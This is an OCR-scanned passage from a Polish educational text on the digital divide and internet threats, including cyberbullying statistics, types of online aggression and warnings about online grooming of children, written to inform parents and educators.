stepu do nowych technologii jest znaczna nierownomiernos¢ tego dostepu za-
rowno w ujeciu krajowym, jak i §wiatowym. Badania geografii Internetu te r6z-
nice wyraznie okre$laja. Z komputerow, Internetu, czy telefonow komorkowych
znacznie czesciej korzystaja osoby zamozniejsze, lepiej wyksztatcone, mieszka-
jace w wiekszych miejscowosciach, mtodsze. Zaleznosci te obserwowane sa
zardbwno w Polsce, jak rowniez w innych krajach. Z kazdym rokiem sytuacja ta
ulega zmianie na lepsze

W celu opisania tego zjawiska, w jezyku angielskim uzywany jest termin
digital divide, ktory na jezyk polski jest thumaczony w rozny sposob. Najbardziej
odpowiadajacy angielskiemu pierwowzorowi jest termin: ,,cyfrowy podzial”.
Czasem uzywane jest rowniez pojecie cyfrowe wykluczenie, ktore w wigkszym
stopniu akcentuje konsekwencje nierownosci w dostgpie i mozliwosciach sko-
rzystania z technologii cyfrowych.

Cyfrowy podziat jest definiowany jako: ,,nierownosci w dostepie do Interne-
tu, intensywnosci jego wykorzystania, wiedzy o sposobach szukania informacji,
jakosci podtaczenia i wsparcia spotecznego, pomagajacego w korzystaniu z In-
ternetu, a takze nieréwnosci w zdolnosci do oceny jakosci informacji i r6zno-
rodnos¢ wykorzystania sieci”?.

Wymiary cyfrowego podziatu:

e $rodki techniczne, z jakich mozna korzysta¢ — fakt posiadania dostepu,
jakosé¢ wykorzystywanego sprzetu, oprogramowania, a takze szybkosé
polaczenia z siecia;

e autonomia uzycia — to czy uzytkownik ma swobode wykorzystywania Inter-
netu — na przyktad brak ograniczen czasowych, miejsce dostepu, a takze
liczba os6b w tym miejscu korzystajacych;

e sposOb wykorzystania Internetu — szczegodlnie istotna jest zdolno$¢ umiejet-
nego i efektywnego wykorzystania komputera i Internetu;

e dostepnos¢ innych osob, do ktorych mozna si¢ zwroci¢ 0 pomoc lub rade,
a takze liczba osob zachecajgcych jednostke do korzystania z sieci;

e umiejetnosci obstugi Internetu, kompetencje techniczne, jak i kompetencje
kulturowe pozwalajace na efektywne wykorzystywanie Internetu;

e umiejetnosci sprawnego wyszukiwania informacji, oceny jej przydatnosci,
przetworzenia i wykorzystania jej zgodnie z potrzebami, a takze inne zdol-
nosci pozwalajace czerpaé wieksze korzysci z korzystania z Internetu®.

2 D. Batorski, Relacja wykluczenia spolecznego z wykluczeniem informacyjnym,
http://www.academia.edu/2939436/Internet_a_usieciowienie_relacji_spolecznych

24 .

Tamze.
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Analfabetyzm komputerowy — cyfrowe wykluczenie

Tak jak kiedy$ analfabetyzm wykluczat spotecznie, tak teraz podobne skutki
moze mie¢ analfabetyzm cyfrowy. Spoteczenstwo ulega cyfrowemu rozwar-
stwieniu (tzw. digital gap) i podziatowi na osoby biegle postugujace si¢ tech-
nologiami informatycznymi oraz informacyjnymi i osoby niekompetentne cy-
frowo.

Tworzy si¢ wiec luka informacyjna miedzy osobami z wyksztatcenia (lub
pewnych cech osobowych) bardziej predestynowanymi do korzystania z no-
wych mediow. Spoteczenstwo sie bardziej réznicuje niz ujednolica. Powigksza
si¢ dystans miedzy zrozumieniem $rodowiska technicznego a techniczng igno-
rancja.

Zagrozenia wynikajace z nieSwiadomego wykorzystywania Internetu

Internet zrewolucjonizowal wiele dziedzin ludzkiego zycia. Umozliwia
wszechstronng komunikacje i utatwia kontakty niwelujac ograniczenia prze-
strzenne i zapewniajac porozumiewanie si¢ w czasie rzeczywistym. Stat si¢ nie-
zbedny jako narzgdzie pracy i rozrywki, ulatwia nauke i rozwijanie zaintereso-
wan. Internet przestal wigc by¢ sprawa wyboru, stat si¢ wrecz koniecznos$cia.
Sam w sobie Internet nie jest ani dobry, ani zty. Jest pomocnym narzedziem, tak
jak np. samochod, ktory utatwia i przyspiesza komunikacje. Jednak z jego uzy-
waniem wigze si¢ pewne ryzyko. Trudno jest jednoznacznie oszacowaé skale
zagrozen, bo zaledwie czg$¢ incydentéw zwigzanych z cyberprzesladowcami
jest zglaszana organom $cigania. Zrozumienie istoty tych zagrozen, znajomos$é
adreséw instytucji, ktore zajmujg si¢ pomoca ofiarom cyberprzestrzeni — czyni
nas silniejszymi w walce z ewentualnymi niebezpieczenstwami.

Do nowych uzaleznien (New Addictions) mozemy takze zaliczy¢ uzaleznie-
nia od gier hazardowych, zakupow, od pracy, seksu, pozywienia. W ostatnich
latach obserwuje sie niezwykly wzrost tego rodzaju uzaleznien.

Za uzaleznionego od Internetu uwaza si¢ tego osobnika, ktéremu komputer
wystarcza do szczesliwego zycia. Taka osoba za posrednictwem sieci kontaktuje
si¢ z innymi ludzmi, przezywa uniesienia. Ma wrazenie, Ze uczestniczy w zyciu
politycznym, spolecznym i kulturalnym. Obecnie juz wiadomo, ze nadmierne
korzystanie z Internetu ma negatywny wplyw zarowno na indywidualng sfere
spoteczna, jak rowniez na zwiazki z najblizszymi. Tego rodzaju ludzie dla Inter-
netu rezygnuja z bezposrednich kontaktow z innymi, zaniedbuja rodzine i co
takze bardzo wazne — prowadzg malo aktywny ruchowo tryb zycia, a to, jak
powszechnie wiadomo, moze by¢ przyczyng wielu schorzen i dolegliwosci, ob-
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nizenia sprawnosci fizycznej i zaniedban w rozwoju fizycznym mlodego uzyt-
kownika Internetu.

Spoteczenstwo kontrolowane elektronicznie

Niebezpieczenstwo spoleczenstwa kontrolowanego oznacza przede wszyst-
kim wdzieranie si¢ w zycie prywatne informacji, centralizacj¢ i zmonopolizo-
wanie informacji, alienacje wskutek automatyzacji i oszczedno$ci w zatrudnie-
niu. Kazdy z funkcjonalnych systeméw informatycznych i telekomunikacyjnych
moze by¢ zwigzany z okre$lonymi zagrozeniami. I kazdy wykazuje pewna po-
datno$¢ na dziatania o charakterze kryminalnym. Przestepcze oblicze kompute-
row to swoiste zwierciadto tej ciemnej strony ludzkich postaw i dziatan.

Przemiany kulturowe

W miejsce ,,nowoczesnej” kultury narodowej weszta kultura globalna,
z dominacja Ameryki i zarazem silny jest nurt tozsamosci lokalnej, regionalnej,
etnicznej. Przestaje istnie¢ ,,kultura narodowa”, bedaca gruntem porozumienia
ludzi postugujacych sie jednym jezykiem. Nastepuje homogenizacja tresci kultur
wysokich, ich przeksztatcenie w postmodernistyczng gre symboli.

Rewolucja informacyjna powoduje przeksztalcenie edukacji masowej
w edukacje nadzorowana lokalnie i dostosowana do lokalnych rynkéw pracy.
Przy czym znaczace stajg si¢ nie uprawnienia, $wiadectwa, a rzeczywiste umie-
jetnosci i gotowos¢ do statego podnoszenia kwalifikacji — co$ co mozna
by nazwa¢ edukacjg permanentng.

Rewolucyjne zmiany nastepuja w kulturze jako sposobie komunikowania.
Ich najglebsza podstawg staje si¢ przejscie od kodowania analogowego do cyfro-
Wwego w co najmniej jednym z elementow toru komunikacyjnego, gdyz jest wa-
runkiem wprowadzenia najnowszych technologii telekomunikacyjnych (rzadziej
zauwazany jest fakt, ze kodowanie cyfrowe doskonale nadaje si¢ do mani-
pulowania, tworzac nieznane przedtem szanse, jak izagrozenia spoteczne
i kulturalne). Podstawa relacji miedzyludzkich jest komunikowanie. Bez niego
nie sposoéb mowic o istocie ludzkiej i spoteczenstwie. Z drugiej strony wspotcze-
$nie niepotrzebny staje si¢ transport materialnych no$nikéw kultury. Zastepuje
go bezposredni transport mysli. Na naszych oczach kultury lacza si¢ z kulturg
mediéw. Telekomunikacja okresla w coraz wigkszym stopniu ksztalt procesow
cywilizacyjno-kulturowych. Zmienia tradycyjne rozumienia pojg¢, m.in. cywili-
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zacja i kultura. Ztego wzgledu mozna zaryzykowaé stwierdzenie, ze Internet
staje si¢ nowa platformg dla komunikacji miedzykulturowe;j.

Internet to ogromny obszar zaludniony przez miliony uzytkownikow. Na-
zwany jest ,,globalng wioskg”. Jest on cywilizacja, metakultura niepodobng do
czegokolwiek, co spotyka si¢ w ,,prawdziwym $wiecie”. W rzeczywistosci In-
ternet to wigcej niz kultura, to spotecznosc. Wiaczaja si¢ do niego ludzie z cate-
go $wiata, pochodzacy z zupehie roznych srodowisk”. Upowszechnienie kon-
sumpcjonizmu, stylu zycia opierajacego si¢ na przyjemnosci i chwilowym za-
dowoleniu. Nosi ona takze nazwe styl zZycia urzadzonego.

Zagrozenia globalne

Gospodarke $wiatowg od lat 80. XX wieku okresla si¢ mianem ,,globaliza-
cji”. Wiaze si¢ z nimi $cisle rozwdj spoteczenstw informacyjnych przy jedno-
czesnym zdeterminowaniu zjawisk i procesow globalnych stopniem rozwoju
tychze spoleczenstw. Zdecydowana wigkszo$¢ specjalistow w tej dziedzinie
uwaza, iz postepy globalizacji gospodarki przebiegaja synchronicznie z rozwo-
jem spoteczenstwa informacyjnego. Wspodlczesne spoleczenstwa informacyjne
poddane sg wszystkim skutkom globalizacji. Zauwazmy takze, ze stopien roz-
woju spoteczenstw informacyjnych wplywa i warunkuje tempo oraz charakter
procesow globalnych.

Cena jest dezintegracja tradycyjnych spolecznosci, ktore zastgpowane sg
przez ,,cyberspace” czy raczej przez kulturg globalng. Nastepuje drastyczna
zmiana sposoboéw myslenia, dziatania, do§wiadczen i §wiadomosci. Sie¢, kom-
puter, czy moze raczej technologie teleinformatyczne na naszych oczach zaczely
zastepowac tradycyjne zrodia potegi, dobrobytu.

Podzial $wiata w dobie globalizacji ulegl jeszcze wigkszemu utrwaleniu
i poglebieniu. Stalo si¢ tak m.in. na skutek powaznych réznic i dysproporcji
w rozwoju technologii informatycznych i informacyjnych. Okre$lenie ,,podzia-
16w cyfrowych” rzutujacych na rozwoj gospodarczy i niejako z gory przesadza-
jacych o mozliwos$ciach wkraczania postgpu w okreslonych rejonach $wiata.
Panstwa rozwijajace si¢ (z ang. developing countries) sa stabo i bardzo stabo
wyposazone w nowoczesne technologie informacyjne, komunikacyjne oraz to-
warzyszaca im infrastruktur¢ techniczng. Brak tego swoistego ,.kota zamacho-
wego” i sity napedowej zglobalizowanej gospodarki stawia je na pozycjach
Z gbry przegranych w rywalizacji z bogatszymi. Tam, gdzie owe technologie juz
sg, trwa ich doskonalenie i unowocze$nianie. Dzigki temu postep staje si¢ coraz

B JR. Levine, C. Baroudi, Sekrety Internetu, Oficyna Wydawnicza READ ME, Warszawa
1996, s. 29.
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bardziej dynamiczny w kazdej dziedzinie, natomiast cechujacy gospodarke staty
wzrost tgczy si¢ ze wzrostem zamozno$ci spoteczenstwa i polaryzacji spote-
czenstw w skali globalnej. Najbiedniejsza czg$¢ Swiata jest z gory skazana na
pozostanie na marginesie proceséw rozwoju technologicznego, a tym samym —
kreowania oblicza i ksztaltu wspotczesnej cywilizacji. Ta najbiedniejsza czgs$¢
nie jest wcale taka mala. Zauwazmy, ze znaczacy jest odsetek ludzi, ktorzy do-
tychczas nie wykonali ani jednego potaczenia telefonicznego.

W kwietniu 2009 roku ludzka populacja na Ziemi liczyla szacunkowo
ok. 6,77 mld ludzi. Firma badawcza eMarketer szacuje, ze do konca 2013 roku,
liczba uzytkownikow telefonow komorkowych na §wiecie przekroczy 4,3 mld.
Co wigcej, do 2017 roku 0sob korzystajacych z komorek ma by¢ ponad 5 mid.
Jak wynika z ankiety przeprowadzonej przeze EITO (European Information
Technology Observatory), procent ludzi, ktorzy nie posiadaja zadnego telefonu
komorkowego dos¢ szybko maleje. Przewiduje si¢, ze do konca biezacego roku
liczba takich 0s6b spadnie ponizej 2,4 mld lub do jednej szostej ludnosci na Ziemi.
Wedtug EITO liczba 0séb korzystajacych z komorek wzrosta o 12% w ostatnim
roku, glownie przez to, ze wzrosta ich sprzedaz w krajach rozwijajacych sie. Przy-
ktadowy wzrost: w Indiach 0 34%, w Brazylii — 14%, w Chinach — 12%.

Swiat we wlasnej ,,sieci”

Wspoltczesna cywilizacja jest ,,opleciona” siecig Internetu wraz z catg towa-
rzyszaca jej infrastrukturg. Dzigki temu w utamku sekundy dowiadujemy sie¢
0 wydarzeniach, na ktore jeszcze kilkanascie lat temu trzeba byto czekaé nawet
kilkanascie godzin. Ludzie przestali pisa¢ tradycyjne listy, zastepujac je kore-
spondencjg elektroniczng. Skrzynki mailowe staty si¢ matymi archiwami i zré-
dtem dostgpu do niemal kazdego z nas, kazdej instytucji, firmy etc. Niewielu
zastanawia si¢ jednak nad ptynacymi z tego stanu rzeczy zagrozeniami. Pierwsze
zagrozenie to niemal zupetna utrata prywatnosci.

Zwazywszy na to, iz na dyskach komputerowych i innych nosnikach pamigci
przechowujemy najwicksze tajemnice prywatne i stuzbowe, staja si¢ one dostepne i W
ten sposob przestaja by¢ tajemnicami. Kazde urzadzenie dziatajace w sieci, kazdy
komputer, jest potencjalnym tupem hakeréw dokonujacych w Internecie kradziezy.

Cyberprzemoc. Cyberprzestepcy (ang. cyberbullying) — przemoc wobec
rowiesnikow z uzyciem technologii informacyjnych i komunikacyjnych

Czym rozni sie ,.tradycyjna” przemoc od cyberbullyingu?
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W odréznieniu od ,.tradycyjnej” formy przemocy zjawisko cyberprzemocy
charakteryzuje:

e wysoki poziom anonimowosci. W Sieci sprawca moze pozostawac nierozpo-
znawalny (oczywiscie anonimowos¢ w Internecie jest tylko pozorna i jezeli
dojdzie do powaznego naruszenia regulaminu lub prawa, wiasciciel serwisu
lub policja zajmuja si¢ Sciganiem sprawcy);

e Mniej wazna jest sita fizyczna czy spoteczna, a bardziej umiej¢tnosé wykorzysta-
nia mozliwosci, ktore dajg media elektroniczne. Sg to: szybkos$¢ rozpowszechnia-
nych materialow kierowanych przeciwko ofierze; powszechna dostepnos¢ sieci;

e bardzo niebezpieczna jest szybko$¢ rozpowszechniania materiatow krzyw-
dzacych dla ofiary. Ich powszechna dostepno$¢ w sieci oraz trudno$¢ w usu-
nigciu sprawiajg, ze ten typ przemocy moze by¢ bardzo dotkliwy;

e oOfiary cyberprzemocy sa stale narazone na atak. Moze on nastapi¢ niezaleznie
od pory dnia czy miejsca, trudno przewidzie¢, kiedy do niego dojdzie. Naj-
bardziej narazone sg dzieci i miodziez?;

e zachowania te podlegaja niskiej kontroli spotecznej. Nieraz rodzice czy nau-
czyciele nie zauwazajg problemu. Czgsto zdarza si¢ tak ze wzgledu na niska
wiedze i mate doswiadczenie zwigzane z mediami elektronicznymi. Rowno-
cze$nie problem ten nie daje Zzadnych oznak, np. siniakéw czy zadrapan beda-
cych skutkiem tradycyjnej przemocy?'.

Problem cyberprzemocy to nie tylko jednostkowe, spektakularne, nagto-
$nione poprzez media przypadki, ale codzienne zjawisko wsrod dzieci i mto-
dziezy, ktorego skala (w zalezno$ci od definicji problemu i metody badawczej)
dotyczy od 20% do nawet potowy dzieci i miodziezy. Wykorzystywane sa
glownie: poczta elektroniczna, czaty, komunikatory, strony internetowe, blogi,
portale spotecznos$ciowe, grupy dyskusyjne, serwisy SMS i MMS (poprzez In-
ternet, telefoni¢ komorkowa)™”.

Podstawowe formy cyberprzemocy to:

e przemoc werbalna w sieci (wulgarne wyzywanie, ponizanie, osmieszanie,
straszenie, ngkanie, szantaz) — (az 52% internautéw w wieku od 12 do 17 r.z.
— kilkukrotnie, 30% — czgsto, tj. ponad 5 razy); co drugi mtody cztowiek miat

% Tej problematyce po$wiccone sa strony: http://dzieckowsieci.fdn.pl/; http://www.safe-
rinternet.pl/; http://www.sieciaki.pl/; http://www.cyberprzemoc.pl/; http://www.helpline.org.pl/;
http://Aww.dyzurnet.pl/;  http://www.przedszkolaki.sieciaki.pl/; http://www.robusd.wsp.lodz.pl;
http://imww.wsp.lodz.pl/Cyberbullying-344-0.htm; http://www.youtube.com/user/wsplodzpl?gl=PL&
hi=pl

21 1. Barlinska, Miodziez w sieci — podioze zachowar agresywnych i antyspolecznych [w:] Jak
reagowaé na cyberprzemoc. Poradnik dla szkél, red. L. Wojtasik, http://dzieckowsieci.fdn.plstro-
na.php/? (dostep: 21.03.2011).

2 W Internecie z latwoscia odnajdziemy setki stron poswigconych zagadnieniom walki z cy-
berprzemoca wobec dzieci. Oto kilka przyktadowych odsytaczy: http://dzieckowsieci.fdn.plstrona.
php/? (dostgp: 21.03.2011); http://www.cyberbullying.org/; http://stopcyberbullying.org/; http://www.
netbullies.com/
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do czynienia z przemocg werbalna w Internecie lub przez telefon komor-
kowy;

o rejestrowanie filmow i zdje¢ wbrew woli danej osoby (ponad potowa na-
stoletnich internautow — 57%);

¢ publikowanie lub rozsylanie oSmieszajacych, kompromitujacych infor-
macji, zdjeé, filmoéw z uzyciem sieci bez zgody zainteresowanych;

o podszywanie si¢ w Sieci pod kogo$ wbrew jego woli (kradziez tozsamosci).

Wyniki badan mogg by¢ bardzo pomocne przy okresleniu zasiegu przemocy
w sieci powodowanej przez rowiesnikow oraz w rozpoznaniu skali tego zjawi-
ska i jego przejawow. Badane osoby mialy sprecyzowac czestotliwosc tych zja-
wisk, odczucia i reakcje na nie oraz okreslié, kto byt ich sprawca®.
Przemoc werbalna:
doswiadczanie: wulgarnego wyzywania — 47%, ponizania, oSmieszania, upoka-
rzania — 21%, straszenia i szantazowania — 16%;
czestotliwosé: 25% okresla te zdarzenia jako jednorazowe, kilkukrotne — 52%,
czeste — 30%;
o reakcje: zdenerwowanie — 59%, strach — 18%, wstyd — 13%, bez znacze-
nia — 30%.
Filmowanie i wykonywanie zdje¢ wbrew woli dziecka:
e rozpowszechnienie: przynajmniej raz — 57%;
e powtarzalnos$¢: zdarzenie jednorazowe — 18%, zjawiska powtarzajace si¢
— 39%;
e autorzy: ktos ze szkoly — 87%, ktos spoza szkoty — 30%;
o motywy: ztos§liwos$¢ — 21%, popisywanie si¢ przed innymi — 17%, o$mie-
szenie osoby filmowanej badz fotografowanej — 12%;
¢ informowanie o zdarzeniu — brak informowania kogokolwiek — 54%, ro-
wiesnicy — 24%, rodzice — 6%.
Publikowanie w Internecie zdjeé dziecka, filmoéw i informacji wbrew jego
woli:
e rozpowszechnienie: dotyczy 14% badanych;
e rodzaj publikacji: informacje — 9%, filmy, zdjecia — 5%;
e powtarzalno§¢: zdarzenie jednorazowe — 39%, zjawiska powtarzajace si¢ —
39%;
e sprawcy: rowiesnicy (ze szkoty — 59%, spoza szkoty — 43%), doro$li —
19%, znajomi z sieci — 13%;
o reakcje: zdenerwowanie — 66%, strach — 12%, wstyd — 33%;
¢ informowanie o zdarzeniu — brak informowania kogokolwiek — 27%, pe-
dagodzy — 12%, rodzice — 13%.

% Catos¢ opisu badania pochodzi z artykutu k.. Wojtasik, Przemoc réwiesnicza a media elek-
troniczne [w:] Jak reagowaé na cyberprzemoc...
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Podszywanie si¢ pod dziecko w sieci (kradziez jego tozsamosci):
o rozpowszechnienie: dotyczy 29% badanych;
e powtarzalnos$¢: zdarzenie jednorazowe — 19%, kilkukrotne — 8%, wielo-
krotne — 2%;
e sprawcy: rowiesnicy (ze szkoty — 56%, spoza szkoty — 22%), dorosli —
5%, znajomi z sieci — 6%, osoba nieznajoma — 20%;
o reakcje: zdenerwowanie — 65%, bez znaczenia — 24%, strach — 5%, przy-
kros¢ — 14%.
Wiedza dorostych na temat wymienionych powyzej zjawisk:
* 13% nie miato zadnej wiedzy, nie styszato o takich przypadkach;
47% styszato o przypadkach straszenia i szantazowania;
52% ma $wiadomos$¢ podszywania sie (kradziezy tozsamosci) w sieci;
57% wie o ponizaniu, o$mieszaniu lub upokarzaniu;
58% zdaje sobie spraw¢ z przypadkow publikowania informacji lub
zdjg¢;
® 62% wie, ze dochodzi do przypadkow filmowania i robienia niechcianych
zdje¢;
o 64% styszato o wyzywaniu przy uzyciu wulgarnych stow.

Cyberne¢kania. Nekanie z wykorzystaniem technologii internetowych
(cyberbulling, mobbing elektroniczny, prze$ladowanie internetowe) — to wyko-
rzystywanie technologii komunikacyjnych i internetowych do $wiadomego,
wielokrotnego i wrogiego zachowania si¢ osoby lub grupy osob, majacego na
celu krzywdzenie innych.

Typologie agresji elektronicznej

Warto je zna¢ chocéby po to, aby wiedzie¢, jak duza skalg ma to zjawisko i w
jak rézny sposdb mozna wyrzadza¢ krzywde innym osobom, postugujac sie
komputerem i innymi narzedziami komunikacji*;

e flaming — agresywna dyskusja prowadzona miedzy uzytkownikami komuni-
kacji internetowej, np. w czat roomach lub grupach dyskusyjnych. Dyskusje
te majg publiczny charakter i mogg dotyczy¢ wigkszej liczby osob;

e przesladowanie — od flamingu r6zni si¢ tym, ze w ten rodzaj agresji zaangazo-
wane s3 tylko dwie osoby. Polega na regularnym przesytaniu nieprzyjemnych,
agresywnych czy o$mieszajacych wiadomosci za pomoca elektronicznych kana-

% . Pyzalski, Polscy nauczyciele i uczniowie a agresja elektroniczna — zarys teoretyczny
i najnowsze wyniki badan [W:] Czlowiek i uzaleznienia, red. M. Jedrzejko, D. Sarzata, Oficyna
Wydawnicza ASPRA-JR, Pultusk—Warszawa, http://cmsl.wsp.crowley.pl/files/Polscy%20nauczy-
ciele%20i%20uczniowie%20a%20agresja%?20elektroniczna.pdf (data dostepu: 21.03.2011).
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tow komunikacji (np. telefon komérkowy, komunikator internetowy). Uznaje sig,
ze do prze$ladowania moze dochodzi¢ takze podczas gry on-line;

o Kradziez tozsamos$ci — polega na podszywaniu si¢ pod ofiar¢ w cyberprze-
strzeni. Dziatania takie sa podejmowane po uzyskaniu hasta do profilu ofiary,
do jej poczty elektronicznej czy komunikatora. Sprawca podszywa si¢ pod
ofiarg i moze realizowac przemoc takze wobec innych 0sob, np. odmieszajac
je czy wysytajac do nich obrazliwe wiadomosci;

¢ upublicznienie tajemnic — polega na upowszechnieniu prywatnych materiatow
nalezacych do innej osoby (zdjecia, filmy, zapisy tekstowe). Upublicznienie
prowadzi do zapoznania Si¢ z nimi przez osoby, ktore pierwotnie nie miaty do
nich dostepu. Zwykle ofiara zna i ufa sprawcy, dzieki czemu moze on wejs¢
W posiadanie tych materiatow. Nastepnie kradnie je z telefonu albo komputera;

o §ledzenie — polega na ,elektronicznym” $ledzeniu drugiej osoby i zasypywa-
niu jej niechcianymi komunikatami (np. w Internecie lub telefonie komorko-
wym). Czesto ten typ agresji dotyczy osob, ktore byty kiedy$ ze sobg w bli-
skich relacjach, np. dziewczyna i chlopak;

e happy slapping — dziatanie, ktére polega na atakowaniu innej osoby i pro-
wokowaniu jej wraz z rejestrowaniem takich zdarzen. Zapis jest nastepnie
rozpowszechniany w Internecie i przesytany do znajomych osob. Taka sytua-
cja moze skonczy¢ si¢ pobiciem i uszkodzeniem sprzetu przesladowcy;

® ponizenie — polega na umieszczeniu w sieci obrazliwych tekstow, obrazow
lub filméw dotyczacych innej osoby. Materiaty te mogg by¢ sfabrykowane
i ktamliwe. Zamieszczanie ich ma celowy charakter i nie jest przypadkowe.
Sprawca wie, jakg reakcje wzbudzi jego dzialanie;

¢ wykluczenie — polega na celowym blokowaniu osoby w kontaktach interne-
towych. Jego formga moze by¢ nieprzyjmowanie osoby do grona znajomych
na portalu spotecznosciowym lub usunigcie z listy kontaktoéw w komunikato-
rze. Osoba jest pomijana w zyciu spotecznym toczacym sie w Internecie.

e agresja ,techniczna” — jest skierowana nie bezposrednio na ofiare, ale na
sprzet komputerowy, ktorego uzywa, a takze oprogramowanie i infrastrukture
informatyczna (np. strona internetowa). Moze polega¢ na rozsytaniu wiru-
sow, hakerstwie albo blokowaniu pewnych ustug (np. skrzynki e-mailowej)>.

Cechy agresji elektronicznej (informacyjnej)

W efekcie — niekoniecznie dlugotrwatej — agresji elektronicznej (informa-
tycznej):

% Innowacje i technologie informacyjne przyszlosciq nowoczesnej edukacji..., s. 74,
http://wspim.edu.pl/projekty/ndp/do_pobrania/materialy/m3.pdf
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e kompromitujace informacje, zdjecia czy filmy potrafig rozejs¢ si¢ w Internecie
w blyskawicznym tempie, a ich usunigcie czgsto jest praktycznie niemozliwe;

e stale narazenie ofiary n¢kania na atak, niezaleznie od miejsca czy pory dnia
i nocy;

o stosunkowo niski poziom kontroli spotecznej tego typu zachowan — sytuacja
doznawania przez dziecko/nastolatka krzywdy za posrednictwem mediow
elektronicznych jest czgsto trudna do zaobserwowania przez rodzicow czy
nauczycieli, szczegdlnie jezeli majg ograniczong wiedzg 1 do$wiadczenia
zwigzane z korzystaniem z mediow elektronicznych;

e atutem sprawcy nie jest ,,sita” rozumiana cechami fizycznymi czy spo-
lecznymi, lecz umiejetno$¢ wykorzystania mozliwosci, jakie daja media
elektroniczne.

Konsekwencje agresji elektronicznej

To bywa naprawde¢ grozne i przerazajace dla ,,ofiary”. Akt cyberprzemocy
czesto powoduje u ofiar irytacje, lek, zawstydzenie. Ofiary ngkania, cyberprze-
mocy czesto czuja si¢ osamotnione ze swoim problemem:

e blisko potowa dzieci, mtodziezy nie informuje nikogo o swoich negatywnych
doswiadczeniach; jedynie co dziesigte dziecko rozmawia o tym z rodzicem
lub nauczycielem;

e czesto spotykaja si¢ z pogladami, radami ignorujacymi sytuacje doswiadcza-
nego przez nich n¢kania: ,,To sg tylko stowa”, ,,Czym tu si¢ przejmowac?” —
od ludzi, ktoérzy sami nigdy nie byli celem podobnych atakéw, ktorzy nie ro-
zumiejg przerazenia i terroru, w jakich zyja ofiary tych dreczycieli.

Przewaznie sytuacje cyberngkania sag mniej grozne niz niebezpieczenstwa
w prawdziwym §$wiecie, ale czesto sg bardzo meczace. Sa to zwykle dziata-
nia ,,dowcipnisiow”, ktérzy czesto nie znaja adresata swoich zaczepek®.

Zagrozenia zwiazane ze spotkaniami z osobami poznanymi w Sieci

Cho¢ wigkszo$¢ przypadkéw cyberngkania zaczyna si¢ i konczy w sieci, to
jednak niektore przenoszg si¢ do realnego Swiata. Wtedy rzecz staje si¢ bardzo
niebezpieczna. Zjawisko uwodzenia dzieci przez osoby doroste za pomoca In-
ternetu okreslane jest w anglojezycznej literaturze przedmiotu terminem Qroo-
ming. Zostato dostrzezone jako problem w latach dziewigédziesigtych XX w.
a skala problemu rosnie wraz z rozwojem serwiséw komunikacyjnych i przyro-

%2 J_ Barlinska, Edukacja na rzecz bezpieczeristwa dzieci i mlodziezy w sieci, http:/ldziecko-
wsieci.fdn.plstrona.php
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stem populacji dzieci korzystajacych z Internetu. Obecnie jest coraz czgsciej
rejestrowanym zjawiskiem. Do nawigzania bliskiego kontaktu z dzie¢mi/nasto-
latkami ,,cybertowcy” wykorzystuja gtéwnie komunikatory internetowe oraz
czaty. Internet stal si¢ wymarzonym ,terenem towieckim” dla wielu przestep-
cow — poczawszy od zwyktych oszustow, a skonczywszy na pedofilach.

Wielu uzytkownikow Internetu podaje w profilu swoje prawdziwe nazwisko
i inne dane. Profile mozna odnalez¢ w sieci za pomoca programu wyszukujace-
go. Dzigki temu mozna znalez¢ inne osoby zainteresowane muzyka okre§lonego
zespotu lub okre§lonym rodzajem sportu, ale réwniez dzieci czy nastolatki uro-
dzone w okreslonym roku, okreslonej pici; mozna odnalez¢ ich adres zamiesz-
kania, szkoty, do ktorej chodza, ich numer telefonu itp.

Napastnicy czasem dtugo pracuja nad ,,urobieniem” ofiary, tj. zdobyciem jej
przychylnosci, zaufania. Odnajduja upatrzona osobe w realnym $wiecie, uzywa-
jac wszystkich sposobow odszukiwania ludzi. Starajg si¢ oni naktoni¢ dzie-
ci/mtodziez do rozméw o seksie, co moze by¢ wstepem do dalszego osaczania
i molestowania najmtodszych uzytkownikéw. Dorosty, czesto udajac rowiesni-
kéw swej ofiary, stopniowo zdobywa jej zaufanie, dane osobowe, zdjecia,
a nieraz staje si¢ ,,dobrym przyjacielem”. Namawia dziecko do ogladania porno-
grafii i nalega stopniowo na spotkanie w §wiecie rzeczywistym. Gdy dojdzie do
spotkania, dziecko zazwyczaj zostaje wykorzystane seksualnie i nierzadko staje
si¢ ofiarg przemystu pornograficznego. Dla zachowania tajemnicy — napastnik
grozi uzywajac telefonu lub zwyklej poczty, albo przekazuje dane kontaktowe
»Swojej ofiary” innym w Internecie, zachecajac ich do jej nekania. A co z czg-
stymi dla nastolatkéw sytuacjami flirtowania przez Internet? Poczatkowa nie-
winna, niezobowigzujaca zabawa stowami przez Internet staje si¢ okazja do
spotkania w realnym zyciu i wykorzystania.

Lamanie prawa/straty finansowe zwiazane z wykorzystaniem Internetu

Gdy jedni ludzie ochoczo rozmawiajg, inni po prostu patrza i stuchajg tego,
0 czym si¢ mowi i kto co mowi. Takich ludzi okresla si¢ mianem ,,przyczajeni”.
A poniewaz nie robig nic, co by zwrdcito na nich uwagg, nikt ich nie dostrzega,
z moderatorami sieci wtacznie. Wiele informacji wrzucamy do cyberprzestrzeni
po prostu zapominajac klikna¢ opcje poufnosci lub udzielajac wigcej informacii,
niz to konieczne. Informacje o nas w cyberprzestrzeni znajduja si¢ m.in. w wy-
pelianych przez nas formularzach konkursowych, zgloszeniowych, wysyta-
nych przez nas profilach uzytkownika itp. — co oszust/ztodziej moze pdzniej
wykorzysta¢ dla swoich celow.

Uzaleznienie od komputera i Internetu (technologii internetowych)

Do najpowszechniejszych zagrozen, na jakie narazone jest mtode pokolenie
internautow, zaliczy¢ nalezy: dostep do tresci pornograficznych; kontakt z mate-
riatami epatujagcymi przemoca; kontakt z pedofilami; uzaleznienie od Internetu;
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kontakt z internetowymi oszustami; nie§wiadome uczestniczenie w dzialaniach
niezgodnych z prawem; konsekwencje finansowe (np. korzystanie z dialerow,
czyli programéw taczacych komputer z Internetem za posrednictwem numerow
0-700); lekkomyslne udostgpnianie informacji obcym osobom (np. numerdéw
kart, adresow, hase1)33.

Skutki psychologiczne i spoleczne uzaleznienia od komputera i Internetu

Zagrozen zwigzanych z Internetem jest jednak znacznie wigcej. To nie tylko
te najgrozniejsze, 0 ktorych wspomnialem wyzej: mozliwos¢ powstania spote-
czenstwa kontrolowanego, czy uzaleznionego catkowicie od techniki, ale row-
niez bardziej prozaiczne, zwigzane bezposrednio z naszym korzystaniem z sieci,
takimi negatywami, jak: nattok informacyjny, ktory przybiera coraz bardziej
objawy szumu informacyjnego, zagrozenie dostepem do treSci niepokojacych
